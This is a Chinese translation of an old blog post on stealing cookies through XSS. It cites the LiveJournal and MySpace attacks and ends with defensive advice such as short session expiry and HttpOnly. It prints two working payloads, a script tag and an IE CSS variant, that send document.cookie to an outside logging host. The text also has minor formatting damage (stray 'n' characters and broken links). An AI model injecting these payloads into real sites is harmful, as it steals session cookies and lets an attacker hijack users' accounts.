XSS攻擊之竊取Cookie
譯者按: 10年前的博客似乎有點老了,但是XSS攻擊的威脅依然還在,我們不得不防。
原文: XSS - Stealing Cookies 101
譯者: Fundebug
為了保證可讀性,本文採用意譯而非直譯。另外,本文版權歸原作者所有,翻譯僅用於學習。
竊取Cookie是非常簡單的,因此不要輕易相信客戶端所聲明的身份。即便這個Cookie是在數秒之前驗證過,那也未必是真的,尤其當你僅使用Cookie驗證客戶端的時候。
2006年1月,LiveJournal遭到了XSS攻擊,這個事件足以警示我們。還有,2006年10月,="https://http://zh.wikipedia.org/wiki/%E8%90%A8%E7%B1%B3_%28%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A0%95%E8%99%AB">MySapce也遭到了XSS攻擊),這告訴我們必須非常謹慎地過濾用戶發布的文本,因為黑客可以在文本中摻雜一些JavaScript代碼,以此竊取登陸用戶的Cookie。
正如黑客攻擊LiveJournal那樣,你不需要在登陸用戶的瀏覽器進行任何操作,而可以在第三方進行所有操作。更糟糕的是,竊取Cookie事實上操作起來非常簡單,但是防範起來卻非常困難。
下面的的JavaScript代碼就可以竊取Cookie,是不是很簡單?
<script>nnew Image().src="http://jehiah.com/_sandbox/log.cgi?c="+encodeURI(document.cookie);n</script>n
如果我可以將這段代碼插入到某個登陸用戶的頁面,則Cookie就會通過HTTP請求發送給我,然後我就可以偽造那個可憐的登陸用戶了!
在IE瀏覽器上,可以通過在CSS代碼中執行JavaScript來竊取Cookie,也很簡單。
<style>n.getcookies{n background-image:url(javascript:new Image().src="http://jehiah.com/_sandbox/log.cgi?c=" + encodeURI(document.cookie););n}n</style>n<p class="getcookies"></p>n
如果你對用戶發布的文本內容不進行嚴格的過濾的話,黑客就可以很方便地竊取Cookie。是不是很可怕?如果你是一個負責任的開發者的話,你就應該保持警惕!因此,你必須假設所有用戶的Cookie都被竊取了。注意,是所有用戶,對於這一點,我不想含糊其辭。
為了保證安全:請不停地重設session的重設;將過期時間設置短一些;監控referrer與userAgent的值;使用HttpOnly禁止腳本讀取Cookie。這些措施並非萬無一失,但是增加了黑客的難度,因此也是有效的。
如果你對="https://http://zh.wikipedia.org/wiki/%E8%90%A8%E7%B1%B3_%28%E8%AE%A1%E7%AE%97%E6%9C%BA%E8%A0%95%E8%99%AB">MySapce遭到的XSS攻擊)不了解,可以查看黑客本人公開的技術細節,很有趣,不過切勿模仿,因為他為自己的行為此付出了不小的代價:三年內被禁止使用電腦!。
參考鏈接
- 9.3 避免XSS攻擊
- 薩米 (計算機蠕蟲))
- Technical explanation of The MySpace Worm
- Account Hijackings Force LiveJournal Changes
歡迎加入我們Fundebug的全棧BUG監控交流群: 622902485
版權聲明:n轉載時請註明作者Fundebug以及本文地址:nhttps://blog.fundebug.com/2017/08/16/xss_steal_cookie/n
推薦閱讀:
※關於BFC的一些觸發問題?
※怎麼解決彈性盒子模型div塊因為文字大小而被撐開?
※margin-right值的計算疑惑?
※你還在記css的賦值順序嗎?
TAG:CSS | cookieHTTP |